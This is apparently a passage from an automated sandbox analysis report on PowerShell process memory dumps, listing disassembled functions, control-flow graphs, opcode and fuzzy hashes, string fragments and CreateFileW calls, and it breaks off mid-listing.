                              • Source File: 00000018.00000002.880774684.0000000006F40000.00000040.00000001.sdmp, Offset: 06F40000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_24_2_6f40000_powershell.jbxd
                              Similarity
                              • API ID: CreateFile
                              • String ID:
                              • API String ID: 823142352-0
                              • Opcode ID: 61565c7ee0d643efba479dfad488c42dda357bdbcd603dacbdcd337b2022e932
                              • Instruction ID: 4219f6b1e91eb64a1a52a1779e4065a231f1057a7738a3621e477c277a63a398
                              • Opcode Fuzzy Hash: 61565c7ee0d643efba479dfad488c42dda357bdbcd603dacbdcd337b2022e932
                              • Instruction Fuzzy Hash: 6D41AD71A002499FDB14DFA8C844BAEFFB5FF88314F14856AE508AB381D7749940CBE1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 06F4AA3C Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 509 6f4aa3c-6f4b15c 512 6f4b164-6f4b19f CreateFileW 509->512 513 6f4b15e-6f4b161 509->513 514 6f4b1a1-6f4b1a7 512->514 515 6f4b1a8-6f4b1c5 512->515 513->512 514->515
                              APIs
                              • CreateFileW.KERNELBASE(00000000,C0000000,?,?,?,?,?,?,?,?,06F4B087,00000000,00000000,00000003,00000000,00000002), ref: 06F4B192
                              Memory Dump Source
                              • Source File: 00000018.00000002.880774684.0000000006F40000.00000040.00000001.sdmp, Offset: 06F40000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_24_2_6f40000_powershell.jbxd
                              Similarity
                              • API ID: CreateFile
                              • String ID:
                              • API String ID: 823142352-0
                              • Opcode ID: 21927eb6aee58c57c2fe4e0ae1513f4948e8cf8b1d3954c6b426963b9539a483
                              • Instruction ID: b7482ed4565123b43596b0d4a3325243cf6235d6ca607a6e4be25436d1c73d03
                              • Opcode Fuzzy Hash: 21927eb6aee58c57c2fe4e0ae1513f4948e8cf8b1d3954c6b426963b9539a483
                              • Instruction Fuzzy Hash: 962157B1D0021AAFCB10CF99D844ADEFBB4FB48314F04852AE918B3610C374A910CFE0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 06F4B108 Relevance: 1.6, APIs: 1, Instructions: 61fileCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 518 6f4b108-6f4b15c 520 6f4b164-6f4b19f CreateFileW 518->520 521 6f4b15e-6f4b161 518->521 522 6f4b1a1-6f4b1a7 520->522 523 6f4b1a8-6f4b1c5 520->523 521->520 522->523
                              APIs
                              • CreateFileW.KERNELBASE(00000000,C0000000,?,?,?,?,?,?,?,?,06F4B087,00000000,00000000,00000003,00000000,00000002), ref: 06F4B192
                              Memory Dump Source
                              • Source File: 00000018.00000002.880774684.0000000006F40000.00000040.00000001.sdmp, Offset: 06F40000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_24_2_6f40000_powershell.jbxd
                              Similarity
                              • API ID: CreateFile
                              • String ID:
                              • API String ID: 823142352-0
                              • Opcode ID: 552e274d67f4b47e799e0ce9bccd3cb39bde60ea93002f4bb5593d451b042928
                              • Instruction ID: dd707ece9c8ca9c1f2629923d0a9ee7be8d5f349b912c2ef304e5872fb19a7e3
                              • Opcode Fuzzy Hash: 552e274d67f4b47e799e0ce9bccd3cb39bde60ea93002f4bb5593d451b042928
                              • Instruction Fuzzy Hash: 8C2123B6D0025ADFCB10CF99D884ADEFBB4FB48314F04852AE918A7610C774A954CFA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01165F10 Relevance: 1.5, Strings: 1, Instructions: 223COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 606 1165f10-1165f60 609 1165f62-1165f6c 606->609 610 1165f6e 606->610 611 1165f73-1165f75 609->611 610->611 612 116605b-11661f5 611->612 613 1165f7b-1165faa 611->613 662 11661fd-1166201 612->662 622 1166023-1166058 613->622 623 1165fac-1165fb0 613->623 624 1165fd2-1165ff0 623->624 625 1165fb2-1165fca 623->625 624->622 635 1165ff2-116600f 624->635 625->624 641 1166011-1166013 635->641 642 116601d-1166020 635->642 641->642 642->622
                              Strings
                              Memory Dump Source
                              • Source File: 00000018.00000002.853002343.0000000001160000.00000040.00000001.sdmp, Offset: 01160000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_24_2_1160000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: HJ}
                              • API String ID: 0-2783620964
                              • Opcode ID: 9ffbdd109347a2d71368ce5d22dbcaf8d89dfc24cb5148f804f0454bb4d42e56
                              • Instruction ID: 3d0d6523b6f8080308393a1232d654d09ab196df1eb07e1d5989ec0c2a0aa8b1
                              • Opcode Fuzzy Hash: 9ffbdd109347a2d71368ce5d22dbcaf8d89dfc24cb5148f804f0454bb4d42e56
                              • Instruction Fuzzy Hash: 89917B347016008FC759DF38D448A6A7BF6EFC9318B148969E50ACB3A2DB75AD06CB91
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0116FC48 Relevance: 1.4, Strings: 1, Instructions: 135COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000018.00000002.853002343.0000000001160000.00000040.00000001.sdmp, Offset: 01160000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_24_2_1160000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: dlam
                              • API String ID: 0-2603141647
                              • Opcode ID: 71e9f52c2e389eb693e2320304c29b3958f6041d59a629985ce1e7a4fe30fe75
                              • Instruction ID: 08dcad5e3a30f6572734545c934c88c30fb0ddd44a4dde603b4ac26c5a06bd15
                              • Opcode Fuzzy Hash: 71e9f52c2e389eb693e2320304c29b3958f6041d59a629985ce1e7a4fe30fe75
                              • Instruction Fuzzy Hash: 664125726006159FCB24DF78D840A9EB7B9FF85314F014A6ED1128B390DB76E9158BE2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0116753A Relevance: .1, Instructions: 103COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000018.00000002.853002343.0000000001160000.00000040.00000001.sdmp, Offset: 01160000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_24_2_1160000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 5664c71ac1143ad3d3914887567a56c4f220d1ea6ce56e3c58aa9040c4bec673
                              • Instruction ID: df6870b34b5c14d911b2a3d180874d8436af78d31dca4d4fc01ea0e1e82328a1
                              • Opcode Fuzzy Hash: 5664c71ac1143ad3d3914887567a56c4f220d1ea6ce56e3c58aa9040c4bec673
                              • Instruction Fuzzy Hash: 1B311E347082418FEB1D9738D0607BA7AA6AFC035DF15856DD6068B3C9DF3A8C528BC1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0116FAA8 Relevance: .1, Instructions: 99COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000018.00000002.853002343.0000000001160000.00000040.00000001.sdmp, Offset: 01160000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_24_2_1160000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: c23e3bcc8d2a901f318ba69b0c499984a810c88b8a1a93350b4908efdba62285
                              • Instruction ID: a9850a1d93c3fc77d529fb5c9d0a571bbef3a442b6a210371c24c5b76c86b09a
                              • Opcode Fuzzy Hash: c23e3bcc8d2a901f318ba69b0c499984a810c88b8a1a93350b4908efdba62285
                              • Instruction Fuzzy Hash: 9831E531B1461ACBDB18CF65E4A0A9EB7B6EFC4204F10452DD901A7344DF759D078BD1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0116FA98 Relevance: .1, Instructions: 97COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000018.00000002.853002343.0000000001160000.00000040.00000001.sdmp, Offset: 01160000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_24_2_1160000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 1048acec6473da444ed8126559b6f5d4bb32a2bcd098b801bbe181b44ad7f9ac
                              • Instruction ID: 64da08b87b488b88133275a550981226317d07811da25f37fe856d0b2308cda8
                              • Opcode Fuzzy Hash: 1048acec6473da444ed8126559b6f5d4bb32a2bcd098b801bbe181b44ad7f9ac
                              • Instruction Fuzzy Hash: FE31F030A1471A9BCB29CF64D4A0AAEBBB6EFC9208B11452DD901AB344DF759D038BD1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0116FBE9 Relevance: .1, Instructions: 59COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000018.00000002.853002343.0000000001160000.00000040.00000001.sdmp, Offset: 01160000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_24_2_1160000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: fa64819685e6652d2cb9b6bb056d4d5ec1b2ed1ae45fa8cedc43487f8bad477d
                              • Instruction ID: 8863da41da56e865f9f608a92cfda9e336389fe3b7a168b22b152d742f7097e6
                              • Opcode Fuzzy Hash: fa64819685e6652d2cb9b6bb056d4d5ec1b2ed1ae45fa8cedc43487f8bad477d
                              • Instruction Fuzzy Hash: 89110A3150C3914FC7268B38D8157E9BFE4DF86315F0985EAD9848B052D3384855C7A2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 007DD005 Relevance: .0, Instructions: 47COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000018.00000002.849624088.00000000007DD000.00000040.00000001.sdmp, Offset: 007DD000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_24_2_7dd000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: c2d9c67a33afbca5f24a74c8626f09bf6066fd83e651db7686b9c237beb1b2e3
                              • Instruction ID: 6100f8978c1b600eca786e80ae3f708398d28e4ff3bf39eac0e4eb47d154b2ca
                              • Opcode Fuzzy Hash: c2d9c67a33afbca5f24a74c8626f09bf6066fd83e651db7686b9c237beb1b2e3
                              • Instruction Fuzzy Hash: 0B01406140D3C45FD7224B258C94692BFB8EF53624F0985DBE9848F293D26D5C45CBB2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 007DD01D Relevance: .0, Instructions: 45COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000018.00000002.849624088.00000000007DD000.00000040.00000001.sdmp, Offset: 007DD000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_24_2_7dd000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 6a9f1fab73785e5942e31d63f9acef4453e6b37b6623ece29203b0f78ba99f9f
                              • Instruction ID: 322159dcd4d4d73d21862d773ebf3d47a1b0ca7ea3e09bf06a297d6556804230
                              • Opcode Fuzzy Hash: 6a9f1fab73785e5942e31d63f9acef4453e6b37b6623ece29203b0f78ba99f9f
                              • Instruction Fuzzy Hash: 0801DF30504344AAE7204E65C884BA6BBACEF85328F18845BE8045B382C37DAC45CAF1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Non-executed Functions

                              Function 01161189 Relevance: 5.1, Strings: 4, Instructions: 61COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000018.00000002.853002343.0000000001160000.00000040.00000001.sdmp, Offset: 01160000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_24_2_1160000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: Hram$Hram$c5m^${5m^
                              • API String ID: 0-1221620058
                              • Opcode ID: 96da161d7bff98049aed0f3c455988a60f12238d945eaeab99467533096d3bc2
                              • Instruction ID: 8ae869292629971d73b33064b3480f1debeeddc337220735572c4c988e210b92
                              • Opcode Fuzzy Hash: 96da161d7bff98049aed0f3c455988a60f12238d945eaeab99467533096d3bc2
                              • Instruction Fuzzy Hash: 161127317043815BC706EB79C4909EE77AAAFC7208704896EE41A8B342EFA5AD1587D1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Execution Graph

                              Execution Coverage:7.8%
                              Dynamic/Decrypted Code Coverage:0%
                              Signature Coverage:0%
                              Total number of Nodes:7
                              Total number of Limit Nodes:1
                              execution_graph 24838 748f6a8 24844 748ef7c 24838->24844 24840 748f6dd 24842 748f7a4 CreateFileW 24843 748f7e1 24842->24843 24845 748f750 CreateFileW 24844->24845 24847 748f6c7 24845->24847 24847->24840 24847->24842

                              Executed Functions

                              Function 07540006 Relevance: 33.2, Strings: 25, Instructions: 1943COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 0 7540006-754003d 2 7540046-75400d7 0->2 3 754003f-7540044 0->3 11 75400e1 2->11 3->2 12 75400ed-7541b85 11->12 437 7541b8f-7541b9b 12->437 438 7541ba6-7542249 437->438 548 7542253-7542264 call 7543a70 438->548 550 754226a-75422bc 548->550
                              Strings
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$\\m$\\m$\\m$\\m
                              • API String ID: 0-3129115665
                              • Opcode ID: 902336fdafd8ddb08db34bb35b5b5f582c3c13884b5e6927b26ca85d88d07bed
                              • Instruction ID: 7661086bb0dfb554e670dc7b83a9d4b8324d80e4bfa660e640dd73cadcc172b9
                              • Opcode Fuzzy Hash: 902336fdafd8ddb08db34bb35b5b5f582c3c13884b5e6927b26ca85d88d07bed
                              • Instruction Fuzzy Hash: EC033C7890111C8FCB64DBB1C844BDE77BAAF85B04F1049AED04A6B668CF355E848F93
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07540040 Relevance: 33.2, Strings: 25, Instructions: 1919COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 557 7540040-7542264 call 7543a70 1104 754226a-75422bc 557->1104
                              Strings
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$D!]m$\\m$\\m$\\m$\\m
                              • API String ID: 0-3129115665
                              • Opcode ID: e3ad7fecba185195a02942bc9f33b84bf087b41602ce1edad4c120eb2e839272
                              • Instruction ID: c1360d2fb13ad2119d9ccfa297f4e94287044446a8ea87292810498ef9c50a42
                              • Opcode Fuzzy Hash: e3ad7fecba185195a02942bc9f33b84bf087b41602ce1edad4c120eb2e839272
                              • Instruction Fuzzy Hash: F9033C7890111C8FCB64DBB1C844BDE77BAAF85B04F1049AED44A6B668CF355E848F93
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07543A70 Relevance: 4.9, Strings: 3, Instructions: 1181COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1209 7543a70-7543abd 1212 7543ac4-7543b62 1209->1212 1213 7543abf 1209->1213 1223 7543b68 1212->1223 1224 7543c3b-7543f5b 1212->1224 1213->1212 1225 7543b6e-7543bae call 7546850 1223->1225 1279 7543f61-7543f73 1224->1279 1280 75444b9-75444ce 1224->1280 1231 7543bb4-7543c35 1225->1231 1231->1224 1231->1225 1285 7544f5c 1279->1285 1287 7543f79-7543fc8 1279->1287 1281 75444d4-75444e0 1280->1281 1282 75445fd-7544f5a 1280->1282 1284 75444e6-754453f 1281->1284 1281->1285 1289 7544f61-7544f67 1282->1289 1299 7544545-754454e 1284->1299 1300 75445e8-75445f7 1284->1300 1285->1289 1287->1285 1302 7543fce-754401d 1287->1302 1291 7544f71 1289->1291 1292 7544f69 1289->1292 1292->1291 1299->1285 1303 7544554-75445e2 1299->1303 1300->1281 1300->1282 1302->1285 1314 7544023-7544039 1302->1314 1303->1299 1303->1300 1314->1285 1315 754403f-7544092 1314->1315 1315->1285 1325 7544098-75440ae 1315->1325 1325->1285 1327 75440b4-75440fc 1325->1327 1333 7544102-7544118 1327->1333 1334 75444aa-75444b3 1327->1334 1333->1285 1337 754411e-754412b 1333->1337 1334->1279 1334->1280 1337->1285 1339 7544131-7544183 1337->1339 1339->1285 1346 7544189-7544196 1339->1346 1346->1285 1347 754419c-75441f3 1346->1347 1347->1285 1355 75441f9-754420c 1347->1355 1355->1285 1357 7544212-7544268 1355->1357 1357->1285 1364 754426e-7544281 1357->1364 1364->1285 1365 7544287-75442da 1364->1365 1365->1285 1373 75442e0-75442f0 1365->1373 1373->1285 1375 75442f6-754434f 1373->1375 1375->1285 1382 7544355-7544365 1375->1382 1382->1285 1383 754436b-75443bf 1382->1383 1383->1285 1391 75443c5-75443d5 1383->1391 1391->1285 1393 75443db-7544434 1391->1393 1393->1285 1400 754443a-7544450 1393->1400 1400->1285 1401 7544456-75444a4 1400->1401 1401->1333 1401->1334
                              Strings
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: D!]m$D!]m$\\m
                              • API String ID: 0-2895011272
                              • Opcode ID: bbbea8f5404e8bc1d8152262d9c27a0fc4388b936337e0dcb1d49ed085b6435a
                              • Instruction ID: fc614bedff53e1b56581159e7ade1241c8285c4afb242173d8238d4bc20a0b27
                              • Opcode Fuzzy Hash: bbbea8f5404e8bc1d8152262d9c27a0fc4388b936337e0dcb1d49ed085b6435a
                              • Instruction Fuzzy Hash: D7B241B0A40218AFDB64DB65CC95BEDB7B2FB88704F008599F609B7795CA30AD81CF54
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754FBF0 Relevance: 4.0, Strings: 3, Instructions: 282COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1464 754fbf0-754fc10 1465 754fc16-754fc1a 1464->1465 1466 754fda9-754fdce 1464->1466 1467 754fdd5-754fdfa 1465->1467 1468 754fc20-754fc24 1465->1468 1466->1467 1470 754fe01-754fe26 1467->1470 1468->1470 1471 754fc2a-754fcaf 1468->1471 1484 754fe2d-754fe94 1470->1484 1493 754fd05-754fd30 call 754ef4c 1471->1493 1494 754fcb1-754fd03 1471->1494 1501 754fe96-754feb4 1484->1501 1502 754fefa-754fefc 1484->1502 1504 754fd52-754fd5f 1493->1504 1505 754fd32-754fd38 1493->1505 1494->1493 1512 754feb6-754fec1 1501->1512 1513 754fec3-754fedc 1501->1513 1506 754ff21-754ff3a 1502->1506 1507 754fefe-754ff1f 1502->1507 1504->1484 1518 754fd65-754fd7a 1504->1518 1508 754fd44-754fd4a 1505->1508 1509 754fd3a 1505->1509 1526 754ff3c-754ff48 1506->1526 1507->1526 1508->1504 1509->1508 1524 754feeb-754fef8 1512->1524 1513->1524 1532 754fede-754fee9 1513->1532 1531 754fd84-754fda6 1518->1531 1524->1502 1533 754ff56 1526->1533 1534 754ff4a-754ff54 1526->1534 1532->1524 1537 754ff5b-754ff5d 1533->1537 1534->1537 1538 754ff6c-754ff73 1537->1538 1539 754ff5f-754ff66 1537->1539 1539->1538
                              Strings
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: HJh$HJh$HJh
                              • API String ID: 0-2085623123
                              • Opcode ID: b28376b5982a90a4e1f08f45b7f86c2667788ce2c4177c6d611fe9fb4586ec25
                              • Instruction ID: 04363943b7ec424ff5d5eb2c65f685f74de28ec01304f349af79dfac70e23064
                              • Opcode Fuzzy Hash: b28376b5982a90a4e1f08f45b7f86c2667788ce2c4177c6d611fe9fb4586ec25
                              • Instruction Fuzzy Hash: E0A1F2307002159FDB199BB8D864BAE7AE7AFC9704F18842EE506DB3C5DF358C0687A5
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754F6E7 Relevance: 2.6, Strings: 2, Instructions: 101COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1540 754f6e7-754f7fc 1559 754f824-754f82b 1540->1559 1560 754f7fe-754f808 1540->1560 1562 754f80f-754f81d 1560->1562 1562->1559
                              Strings
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: Iam$}]m
                              • API String ID: 0-3086085549
                              • Opcode ID: 71750af10535bfd87e2a49d88e6a839e57d8091a63c92ed17f52d38e9285bef1
                              • Instruction ID: 1c450cd52c3830b8258ecb254eb55bfccde415cc2617d3e7fa1b289114e03d53
                              • Opcode Fuzzy Hash: 71750af10535bfd87e2a49d88e6a839e57d8091a63c92ed17f52d38e9285bef1
                              • Instruction Fuzzy Hash: 7731D0303083606BE349BB788811B6E26979BC6B04F15457DE2069F7C6CE76AC0583BA
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754F6F8 Relevance: 2.6, Strings: 2, Instructions: 96COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1563 754f6f8-754f7fc 1582 754f824-754f82b 1563->1582 1583 754f7fe-754f808 1563->1583 1585 754f80f-754f81d 1583->1585 1585->1582
                              Strings
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: Iam$}]m
                              • API String ID: 0-3086085549
                              • Opcode ID: c0cb6b0102c64671065ada665cac5cd4a8db04f9b3b06aeb2f0eafe75fe875f7
                              • Instruction ID: 76a3bfaa6fce0c0594ae83bb7615a1473801e15f6caba27751c172ce2af3a350
                              • Opcode Fuzzy Hash: c0cb6b0102c64671065ada665cac5cd4a8db04f9b3b06aeb2f0eafe75fe875f7
                              • Instruction Fuzzy Hash: 1131B1307082146BE758B679CC11B6E26879BC6B14F55853CE2069F7C6CEB6AC0543FA
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07549087 Relevance: 2.6, Strings: 2, Instructions: 92COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1586 7549087-7549235 1605 754933f-754934e call 75493c0 1586->1605 1606 754923b-754926a 1586->1606 1608 7549354-7549373 1605->1608 1606->1605
                              Strings
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: HJh$HJh
                              • API String ID: 0-4113521426
                              • Opcode ID: b15264d7466c398cf5c64a92ae14a31b08ca2b7dce08800e5dc5ccb45a4ca4af
                              • Instruction ID: 646c963ba22ac87259970c5e3877d5e3b65c380e1b84aeddf6de83cbe134290c
                              • Opcode Fuzzy Hash: b15264d7466c398cf5c64a92ae14a31b08ca2b7dce08800e5dc5ccb45a4ca4af
                              • Instruction Fuzzy Hash: 67314874A00118DFCB14EFB4D454AAE77B6FF89715F108469E506AB3A8CF359C42CBA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07549161 Relevance: 2.6, Strings: 2, Instructions: 90COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1613 7549161-7549235 1630 754933f-754934e call 75493c0 1613->1630 1631 754923b-754926a 1613->1631 1633 7549354-7549373 1630->1633 1631->1630
                              Strings
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: HJh$HJh
                              • API String ID: 0-4113521426
                              • Opcode ID: 76bc49d2a4a42e7769c2e649b6cd4ee965be35d40ee7bfe1531681a352cc9647
                              • Instruction ID: 563cae95dad7248e4feb1c38310bc50520052ccacc5f22d27ee65672a3f3bcfc
                              • Opcode Fuzzy Hash: 76bc49d2a4a42e7769c2e649b6cd4ee965be35d40ee7bfe1531681a352cc9647
                              • Instruction Fuzzy Hash: 2C314674B00118DFCB14EFA4D458AAE7BB6FF89714F104429E506AB3A4CF35AC42CB91
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754926F Relevance: 2.6, Strings: 2, Instructions: 75COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1638 754926f-754934e call 75493c0 1655 7549354-7549373 1638->1655
                              Strings
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: HJh$HJh
                              • API String ID: 0-4113521426
                              • Opcode ID: 8377f1162fdef2682b57fd15c727e0849c9072c57bea55c718b1b7cbe4e0b96e
                              • Instruction ID: 902d5399ed236ff626c3b2ca9f9f859bb1a1f07b18e15dc3e3a37f970adf9045
                              • Opcode Fuzzy Hash: 8377f1162fdef2682b57fd15c727e0849c9072c57bea55c718b1b7cbe4e0b96e
                              • Instruction Fuzzy Hash: A9312A35B00118AFCB54EFA8E458A9E77B7EF88714F104469E506EB364CF319C01CB91
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 075476D8 Relevance: 1.7, Strings: 1, Instructions: 464COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1858 75476d8-754770b 1861 7547712-754771e 1858->1861 1862 754770d 1858->1862 1865 7547720-7547728 1861->1865 1866 754772d-754773a 1861->1866 1863 7547c4a-7547c51 1862->1863 1865->1863 1869 754773c-754776a 1866->1869 1870 754778d-75477a4 1866->1870 1880 7547773 1869->1880 1881 754776c-7547771 1869->1881 1875 75477a6-75477b2 1870->1875 1876 75477ed-75477f9 1870->1876 1875->1876 1885 75477b4-75477e8 call 7546850 1875->1885 1883 7547837-7547850 1876->1883 1884 75477fb-7547832 call 7546850 1876->1884 1882 7547778-7547788 call 7546850 1880->1882 1881->1882 1882->1863 1891 7547852-7547859 1883->1891 1892 75478cb-75478e7 1883->1892 1884->1863 1885->1863 1891->1892 1900 754785b-7547862 1891->1900 1901 75478ee-75478f2 1892->1901 1902 75478e9 1892->1902 1900->1892 1904 7547864-7547870 1900->1904 1905 75478f4-75478f6 1901->1905 1906 75478f8 1901->1906 1902->1863 1904->1892 1909 7547872-754787e 1904->1909 1907 75478fd-754790e 1905->1907 1906->1907 1911 7547914-7547922 1907->1911 1912 7547b3c 1907->1912 1909->1892 1915 7547880-754788a 1909->1915 1919 7547b33-7547b3a 1911->1919 1920 7547928-754793d 1911->1920 1914 7547b43-7547b45 1912->1914 1916 7547b47-7547b49 1914->1916 1917 7547b60-7547b62 1914->1917 1915->1892 1929 754788c-75478c6 call 7546850 1915->1929 1923 7547b51-7547b55 1916->1923 1921 7547b74-7547b7e 1917->1921 1922 7547b64-7547b6a 1917->1922 1919->1914 1930 7547943-7547955 1920->1930 1931 7547b2a-7547b31 1920->1931 1932 7547b96-7547be2 1921->1932 1933 7547b80-7547b8a 1921->1933 1927 7547b72 1922->1927 1923->1917 1925 7547b57-7547b5d 1923->1925 1925->1917 1927->1921 1929->1863 1930->1914 1939 754795b-7547972 1930->1939 1931->1914 1962 7547be4-7547bea 1932->1962 1963 7547bec-7547bf0 1932->1963 1933->1932 1940 7547b8c-7547b8e 1933->1940 1956 7547a70-7547a87 1939->1956 1957 7547978-754799d 1939->1957 1943 7547b90-7547b94 1940->1943 1944 7547bfb-7547bff 1940->1944 1943->1932 1943->1944 1947 7547c01-7547c07 1944->1947 1948 7547c0a-7547c0c 1944->1948 1947->1948 1950 7547c0e-7547c35 1948->1950 1951 7547c38-7547c45 call 7546850 1948->1951 1950->1951 1951->1863 1956->1914 1969 7547a8d-7547acc 1956->1969 1967 7547c52-7547c7f 1957->1967 1968 75479a3-75479ab 1957->1968 1962->1948 1963->1948 1965 7547bf2-7547bf9 1963->1965 1965->1948 1980 7547c81-7547c8b 1967->1980 1981 7547c8c-7547c8e 1967->1981 1970 75479b1-75479c4 1968->1970 1971 